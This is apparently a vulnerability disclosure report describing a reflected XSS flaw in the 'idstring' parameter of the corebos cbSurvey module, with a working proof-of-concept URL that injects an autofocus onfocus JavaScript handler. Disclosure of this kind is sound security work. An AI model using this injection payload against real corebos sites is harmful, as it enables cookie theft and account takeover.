Reflected XSS in "cbSurvey" module in tsolucio/corebos
Reported on
Jun 26th 2022
Description
Reflected XSS due to bad sanitization of "idstring" parameter in cbSurvey module.
Proof of Concept
https://demo.corebos.com/index.php?module=cbSurvey&action=cbSurveyAjax&file=MassEdit&mode=ajax&idstring=" onfocus=javascript:alert(document.domain) type=txt autofocus="
Impact
Client side code execution, can lead to cookie stealing, account takeover....